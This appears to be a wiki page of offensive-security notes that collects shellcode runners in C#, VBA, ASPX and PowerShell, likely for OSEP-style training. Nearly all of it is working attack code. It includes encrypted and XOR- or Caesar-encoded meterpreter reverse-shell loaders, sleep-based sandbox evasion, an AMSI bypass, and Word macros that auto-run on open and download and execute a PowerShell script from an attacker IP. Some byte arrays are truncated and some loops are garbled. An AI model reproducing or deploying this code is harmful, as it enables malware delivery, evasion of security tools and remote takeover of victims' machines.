 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, encryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        public static byte[] Decrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))&lt;br /&gt;
                {&lt;br /&gt;
                    return PerformCryptography(data, decryptor);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)&lt;br /&gt;
        {&lt;br /&gt;
            using (var ms = new MemoryStream())&lt;br /&gt;
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))&lt;br /&gt;
            {&lt;br /&gt;
                cryptoStream.Write(data, 0, data.Length);&lt;br /&gt;
                cryptoStream.FlushFinalBlock();&lt;br /&gt;
                return ms.ToArray();&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Csharp shellcode&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,&lt;br /&gt;
            uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes,&lt;br /&gt;
            uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle,&lt;br /&gt;
            UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfe, 0x4a,.....&lt;br /&gt;
};&lt;br /&gt;
            for(int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)(((uint)buf[i] - 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr,&lt;br /&gt;
                IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Change the XOR vba runner with this&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
For i = 0 To UBound(buf)&lt;br /&gt;
buf(i) = buf(i) - 2&lt;br /&gt;
Next i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
namespace rev&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint EXECUTEREADWRITE  = 0x40;&lt;br /&gt;
        public const uint COMMIT_RESERVE = 0x3000;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;Kernel32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);&lt;br /&gt;
        public static void Main()&lt;br /&gt;
        {&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, 0xb2, 0x79, 0x1e, 0x0a, 0x12, 0x36, 0xfa, 0xfa, 0xfa, 0xbb, 0xab, 0xbb, 0xaa&lt;br /&gt;
            };&lt;br /&gt;
            int payloadSize = buf.Length;&lt;br /&gt;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, COMMIT_RESERVE, EXECUTEREADWRITE);&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Marshal.Copy(buf, 0, payAddr, payloadSize);&lt;br /&gt;
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);&lt;br /&gt;
            int waitResult = WaitForSingleObject(payThreadId, -1);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Private Declare PtrSafe Function Sleep Lib &amp;quot;kernel32&amp;quot; (ByVal mili As Long) As Long&lt;br /&gt;
Private Declare PtrSafe Function CreateThread Lib &amp;quot;kernel32&amp;quot; (ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function VirtualAlloc Lib &amp;quot;kernel32&amp;quot; (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function RtlMoveMemory Lib &amp;quot;kernel32&amp;quot; (ByVal destAddr As LongPtr, ByRef sourceAddr As Any, ByVal length As Long) As LongPtr&lt;br /&gt;
Private Declare PtrSafe Function FlsAlloc Lib &amp;quot;KERNEL32&amp;quot; (ByVal callback As LongPtr) As LongPtr&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    Dim allocRes As LongPtr&lt;br /&gt;
    Dim t1 As Date&lt;br /&gt;
    Dim t2 As Date&lt;br /&gt;
    Dim time As Long&lt;br /&gt;
    Dim buf As Variant&lt;br /&gt;
    Dim addr As LongPtr&lt;br /&gt;
    Dim counter As Long&lt;br /&gt;
    Dim data As Long&lt;br /&gt;
    Dim res As LongPtr&lt;br /&gt;
    &#039; Call FlsAlloc and verify if the result exists&lt;br /&gt;
    allocRes = FlsAlloc(0)&lt;br /&gt;
    If IsNull(allocRes) Then&lt;br /&gt;
        End&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Sleep for 10 seconds and verify time passed&lt;br /&gt;
    t1 = Now()&lt;br /&gt;
    Sleep (10000)&lt;br /&gt;
    t2 = Now()&lt;br /&gt;
    time = DateDiff(&amp;quot;s&amp;quot;, t1, t2)&lt;br /&gt;
    If time &amp;lt; 10 Then&lt;br /&gt;
        Exit Sub&lt;br /&gt;
    End If&lt;br /&gt;
    &#039; Shellcode encoded with XOR with key 0xfa/250 (output from C# helper tool)&lt;br /&gt;
    buf = Array(6, 178, 121, 30, 10, 18, 54, 250, 250, 250, 187, 171, 187, 170, 168, , 113, 136, 170, 183, 203, 51, 178, 203, 58, 86, 198, 155, ...)&lt;br /&gt;
    &#039; Allocate memory space&lt;br /&gt;
    addr = VirtualAlloc(0, UBound(buf), &amp;amp;H3000, &amp;amp;H40)&lt;br /&gt;
    &#039; Decode the shellcode&lt;br /&gt;
    For i = 0 To UBound(buf)&lt;br /&gt;
        buf(i) = buf(i) Xor 250&lt;br /&gt;
    Next i&lt;br /&gt;
    &#039; Move the shellcode&lt;br /&gt;
    For counter = LBound(buf) To UBound(buf)&lt;br /&gt;
        data = buf(counter)&lt;br /&gt;
        res = RtlMoveMemory(addr + counter, data, 1)&lt;br /&gt;
    Next counter&lt;br /&gt;
    &#039; Execute the shellcode&lt;br /&gt;
    res = CreateThread(0, 0, addr, 0, 0, 0)&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Simple Shellcode Runners ==&lt;br /&gt;
&lt;br /&gt;
=== ASPX ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    private static Int32 MEM_COMMIT=0x1000;&lt;br /&gt;
    private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true,ExactSpelling = true)]&lt;br /&gt;
    private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
    [System.Runtime.InteropServices.DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    private static extern IntPtr GetCurrentProcess();&lt;br /&gt;
    protected void Page_Load(object sender, EventArgs e)&lt;br /&gt;
    {&lt;br /&gt;
        IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
        if(mem == null)&lt;br /&gt;
        {&lt;br /&gt;
            return;&lt;br /&gt;
        }&lt;br /&gt;
         // msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.X.Y LPORT=443 -f aspx -o 3.aspx&lt;br /&gt;
        byte[] oe7hnH0 = new byte[666] {SHELLCODE-HERE!!!};&lt;br /&gt;
        for(int i = 0; i&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp ===&lt;br /&gt;
&lt;br /&gt;
If compiled for x64 remember to set architecture to x64 in visual studios.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ConsoleApp1&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
// msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&lt;br /&gt;
            byte[] buf = new byte[630] {&lt;br /&gt;
                0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,&lt;br /&gt;
                // ... (other bytes)&lt;br /&gt;
                0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5&lt;br /&gt;
            };&lt;br /&gt;
            int size = buf.Length;&lt;br /&gt;
            IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(buf, 0, addr, size);&lt;br /&gt;
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
==== Ver 1 - Ported from Csharp to Powershell ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$Kernel32 = @&amp;quot;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
public&lt;br /&gt;
class Kernel32 {&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;)] public static extern IntPtr VirtualAlloc(&lt;br /&gt;
      IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi)] public static extern IntPtr&lt;br /&gt;
  CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,&lt;br /&gt;
               IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags,&lt;br /&gt;
               IntPtr lpThreadId);&lt;br /&gt;
  [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)] public static extern UInt32&lt;br /&gt;
  WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
}&lt;br /&gt;
&amp;quot;@&lt;br /&gt;
Add-Type $Kernel32&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8…..&lt;br /&gt;
$size = $buf.Length&lt;br /&gt;
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)&lt;br /&gt;
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);&lt;br /&gt;
[Kernel32]::WaitForSingleObject($thandle, [uint32]&amp;quot;0xFFFFFFFF&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ver 2 ====&lt;br /&gt;
&lt;br /&gt;
run.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Compact AMSI bypass&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Shellcode loader &amp;gt;:]&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Allocate executable memory&lt;br /&gt;
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
# Copy shellcode to allocated memory&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
# Execute shellcode and wait for it to exit&lt;br /&gt;
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
  (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Trigger from Word Macro&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Trigger from Word Macro&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
